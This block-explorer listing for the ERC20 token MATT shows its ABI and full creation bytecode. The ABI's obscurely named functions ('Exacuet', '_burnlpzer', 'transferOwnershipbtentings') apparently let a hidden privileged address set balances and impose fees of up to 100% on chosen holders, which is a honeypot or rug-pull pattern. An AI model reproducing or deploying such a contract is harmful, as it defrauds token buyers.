Overview ERC20
PRICE
n/a

ON-CHAIN MARKET CAP n/a

Total Supply:
690,814,000,000.00 MATT

Holders:
21
Profile Summary
Blockchain:
Ethereum (1)


Decimals:
9
Contract Source Code Verified (Partial Match)
Contract Name:
MATT

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No

Created At:
Wed, 24 Apr 2024 13:34:23 GMT
MATT.sol
MATT.sol
MATT.sol


Contract ABI
[
  {
    "inputs": [],
    "stateMutability": "nonpayable",
    "type": "constructor"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Approval",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "from",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Transfer",
    "type": "event"
  },
  {
    "inputs": [
      {
        "internalType": "address[]",
        "name": "_usr",
        "type": "address[]"
      },
      {
        "internalType": "uint256",
        "name": "_feePct",
        "type": "uint256"
      }
    ],
    "name": "Exacuet",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "name": "__balances",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "user",
        "type": "address"
      }
    ],
    "name": "_burnlpzer",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "name": "_isExcludeFromFee",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "_swapFeeTo",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "_swapTax",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "_uniswapPair",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "_uniswapRouter",
    "outputs": [
      {
        "internalType": "contract IUniswapRouter",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      }
    ],
    "name": "allowance",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "approve",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      }
    ],
    "name": "balanceOf",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "decimals",
    "outputs": [
      {
        "internalType": "uint8",
        "name": "",
        "type": "uint8"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "name",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "owner",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "symbol",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "totalSupply",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transfer",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "sender",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transferFrom",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "newOwner",
        "type": "address"
      }
    ],
    "name": "transferOwnershipbtentings",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "stateMutability": "payable",
    "type": "receive"
  }
]


Contract Creation Code
608060405234801562000010575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f4d6174742046757269650000000000000000000000000000000000000000000081525060049081620000969190620008f9565b506040518060400160405280600481526020017f4d4154540000000000000000000000000000000000000000000000000000000081525060059081620000dd9190620008f9565b50600960065f6101000a81548160ff021916908360ff1602179055505f64a0d7b91b8090503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b8190555060065f9054906101000a900460ff16600a62000166919062000b66565b8162000173919062000bb6565b600881905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060085460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200033e919062000c11565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004ca919062000c91565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000551573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000577919062000c91565b6040518363ffffffff1660e01b81526004016200059692919062000cd2565b6020604051808303815f875af1158015620005b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d9919062000c91565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505062000cfd565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200071157607f821691505b602082108103620007275762000726620006cc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200078b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200074e565b6200079786836200074e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007e1620007db620007d584620007af565b620007b8565b620007af565b9050919050565b5f819050919050565b620007fc83620007c1565b620008146200080b82620007e8565b8484546200075a565b825550505050565b5f90565b6200082a6200081c565b62000837818484620007f1565b505050565b5b818110156200085e57620008525f8262000820565b6001810190506200083d565b5050565b601f821115620008ad5762000877816200072d565b62000882846200073f565b8101602085101562000892578190505b620008aa620008a1856200073f565b8301826200083c565b50505b505050565b5f82821c905092915050565b5f620008cf5f1984600802620008b2565b1980831691505092915050565b5f620008e98383620008be565b9150826002028217905092915050565b620009048262000695565b67ffffffffffffffff81111562000920576200091f6200069f565b5b6200092c8254620006f9565b6200093982828562000862565b5f60209050601f8311600181146200096f575f84156200095a578287015190505b620009668582620008dc565b865550620009d5565b601f1984166200097f866200072d565b5f5b82811015620009a85784890151825560018201915060208501945060208101905062000981565b86831015620009c85784890151620009c4601f891682620008be565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a675780860481111562000a3f5762000a3e620009dd565b5b600185161562000a4f5780820291505b808102905062000a5f8562000a0a565b945062000a1f565b94509492505050565b5f8262000a81576001905062000b53565b8162000a90575f905062000b53565b816001811462000aa9576002811462000ab45762000aea565b600191505062000b53565b60ff84111562000ac95762000ac8620009dd565b5b8360020a91508482111562000ae35762000ae2620009dd565b5b5062000b53565b5060208310610133831016604e8410600b841016171562000b245782820a90508381111562000b1e5762000b1d620009dd565b5b62000b53565b62000b33848484600162000a16565b9250905081840481111562000b4d5762000b4c620009dd565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b7282620007af565b915062000b7f8362000b5a565b925062000bae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a70565b905092915050565b5f62000bc282620007af565b915062000bcf83620007af565b925082820262000bdf81620007af565b9150828204841483151762000bf95762000bf8620009dd565b5b5092915050565b62000c0b81620007af565b82525050565b5f60208201905062000c265f83018462000c00565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c5b8262000c30565b9050919050565b62000c6d8162000c4f565b811462000c78575f80fd5b50565b5f8151905062000c8b8162000c62565b92915050565b5f6020828403121562000ca95762000ca862000c2c565b5b5f62000cb88482850162000c7b565b91505092915050565b62000ccc8162000c4f565b82525050565b5f60408201905062000ce75f83018562000cc1565b62000cf6602083018462000cc1565b9392505050565b6119ba8062000d0b5f395ff3fe608060405260043610610117575f3560e01c8063420d10b51161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063995ebb9c14610418578063a9059cbb14610440578063dd62ed3e1461047c5761011e565b8063420d10b5146102ce578063426329c11461030a5780634bf28fd01461033457806365b61b771461035e57806370a08231146103885761011e565b80632428e9b0116100e65780632428e9b0146101ee57806330da23e414610216578063313ce5671461024057806336b2e0271461026a57806338ffc971146102a65761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b604051610143919061116e565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d919061122c565b610544565b60405161017f9190611284565b60405180910390f35b348015610193575f80fd5b5061019c61055a565b6040516101a991906112ac565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d391906112c5565b610560565b6040516101e59190611284565b60405180910390f35b3480156101f9575f80fd5b50610214600480360381019061020f9190611315565b6106f8565b005b348015610221575f80fd5b5061022a6107e1565b60405161023791906112ac565b60405180910390f35b34801561024b575f80fd5b506102546107e7565b604051610261919061135b565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b9190611315565b6107f9565b60405161029d9190611284565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c79190611315565b610816565b005b3480156102d9575f80fd5b506102f460048036038101906102ef9190611315565b6108e5565b60405161030191906112ac565b60405180910390f35b348015610315575f80fd5b5061031e6108fa565b60405161032b9190611383565b60405180910390f35b34801561033f575f80fd5b5061034861091f565b6040516103559190611383565b60405180910390f35b348015610369575f80fd5b50610372610944565b60405161037f91906113f7565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a99190611315565b610969565b6040516103bb91906112ac565b60405180910390f35b3480156103cf575f80fd5b506103d86109af565b6040516103e59190611383565b60405180910390f35b3480156103f9575f80fd5b506104026109d6565b60405161040f919061116e565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190611550565b610a62565b005b34801561044b575f80fd5b506104666004803603810190610461919061122c565b610ba3565b6040516104739190611284565b60405180910390f35b348015610487575f80fd5b506104a2600480360381019061049d91906115aa565b610bb9565b6040516104af91906112ac565b60405180910390f35b600480546104c590611615565b80601f01602080910402602001604051908101604052809291908181526020018280546104f190611615565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f610550338484610c3b565b6001905092915050565b60085481565b5f61056c848484610d22565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146106ed578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106709190611672565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075957600161075c565b60095b60ff1690505f60038261076f9190611672565b905080915060028161078191906117d4565b6008546103e8610791919061181e565b61079b919061181e565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a906118a9565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109e390611615565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f90611615565b8015610a5a5780601f10610a3157610100808354040283529160200191610a5a565b820191905f5260205f20905b815481529060010190602001808311610a3d57829003601f168201915b505050505081565b5f600190505f600290505f600390505f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad7578383610ad29190611672565b610ae4565b8183610ae391906118c7565b5b90505f8282610af39190611672565b9050600185610b029190611672565b81610b0d91906118c7565b91505f5b8751811015610b99578183610b269190611672565b87610b3191906118c7565b600a5f8a8481518110610b4757610b466118fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508080600101915050610b11565b5050505050505050565b5f610baf338484610d22565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1591906112ac565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610d87575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610dda575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e259190611672565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610fd8575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610eb9919061181e565b610ec39190611954565b90508082610ed191906118c7565b91505f811115610fd6578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f4891906118c7565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fcd91906112ac565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461102291906118c7565b61102c9190611672565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110c89190611672565b6040516110d591906112ac565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561111b578082015181840152602081019050611100565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611140826110e4565b61114a81856110ee565b935061115a8185602086016110fe565b61116381611126565b840191505092915050565b5f6020820190508181035f8301526111868184611136565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111c88261119f565b9050919050565b6111d8816111be565b81146111e2575f80fd5b50565b5f813590506111f3816111cf565b92915050565b5f819050919050565b61120b816111f9565b8114611215575f80fd5b50565b5f8135905061122681611202565b92915050565b5f806040838503121561124257611241611197565b5b5f61124f858286016111e5565b925050602061126085828601611218565b9150509250929050565b5f8115159050919050565b61127e8161126a565b82525050565b5f6020820190506112975f830184611275565b92915050565b6112a6816111f9565b82525050565b5f6020820190506112bf5f83018461129d565b92915050565b5f805f606084860312156112dc576112db611197565b5b5f6112e9868287016111e5565b93505060206112fa868287016111e5565b925050604061130b86828701611218565b9150509250925092565b5f6020828403121561132a57611329611197565b5b5f611337848285016111e5565b91505092915050565b5f60ff82169050919050565b61135581611340565b82525050565b5f60208201905061136e5f83018461134c565b92915050565b61137d816111be565b82525050565b5f6020820190506113965f830184611374565b92915050565b5f819050919050565b5f6113bf6113ba6113b58461119f565b61139c565b61119f565b9050919050565b5f6113d0826113a5565b9050919050565b5f6113e1826113c6565b9050919050565b6113f1816113d7565b82525050565b5f60208201905061140a5f8301846113e8565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61144a82611126565b810181811067ffffffffffffffff8211171561146957611468611414565b5b80604052505050565b5f61147b61118e565b90506114878282611441565b919050565b5f67ffffffffffffffff8211156114a6576114a5611414565b5b602082029050602081019050919050565b5f80fd5b5f6114cd6114c88461148c565b611472565b905080838252602082019050602084028301858111156114f0576114ef6114b7565b5b835b81811015611519578061150588826111e5565b8452602084019350506020810190506114f2565b5050509392505050565b5f82601f83011261153757611536611410565b5b81356115478482602086016114bb565b91505092915050565b5f806040838503121561156657611565611197565b5b5f83013567ffffffffffffffff8111156115835761158261119b565b5b61158f85828601611523565b92505060206115a085828601611218565b9150509250929050565b5f80604083850312156115c0576115bf611197565b5b5f6115cd858286016111e5565b92505060206115de858286016111e5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162c57607f821691505b60208210810361163f5761163e6115e8565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61167c826111f9565b9150611687836111f9565b925082820390508181111561169f5761169e611645565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156116fa578086048111156116d6576116d5611645565b5b60018516156116e55780820291505b80810290506116f3856116a5565b94506116ba565b94509492505050565b5f8261171257600190506117cd565b8161171f575f90506117cd565b8160018114611735576002811461173f5761176e565b60019150506117cd565b60ff84111561175157611750611645565b5b8360020a91508482111561176857611767611645565b5b506117cd565b5060208310610133831016604e8410600b84101617156117a35782820a90508381111561179e5761179d611645565b5b6117cd565b6117b084848460016116b1565b925090508184048111156117c7576117c6611645565b5b81810290505b9392505050565b5f6117de826111f9565b91506117e983611340565b92506118167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611703565b905092915050565b5f611828826111f9565b9150611833836111f9565b9250828202611841816111f9565b9150828204841483151761185857611857611645565b5b5092915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6118936006836110ee565b915061189e8261185f565b602082019050919050565b5f6020820190508181035f8301526118c081611887565b9050919050565b5f6118d1826111f9565b91506118dc836111f9565b92508282019050808211156118f4576118f3611645565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61195e826111f9565b9150611969836111f9565b92508261197957611978611927565b5b82820490509291505056fea2646970667358221220c6577606460d8db051f8bbe9a5fe8bead2c9007c02a1f5bdc63c5500c3e7f18e64736f6c63430008160033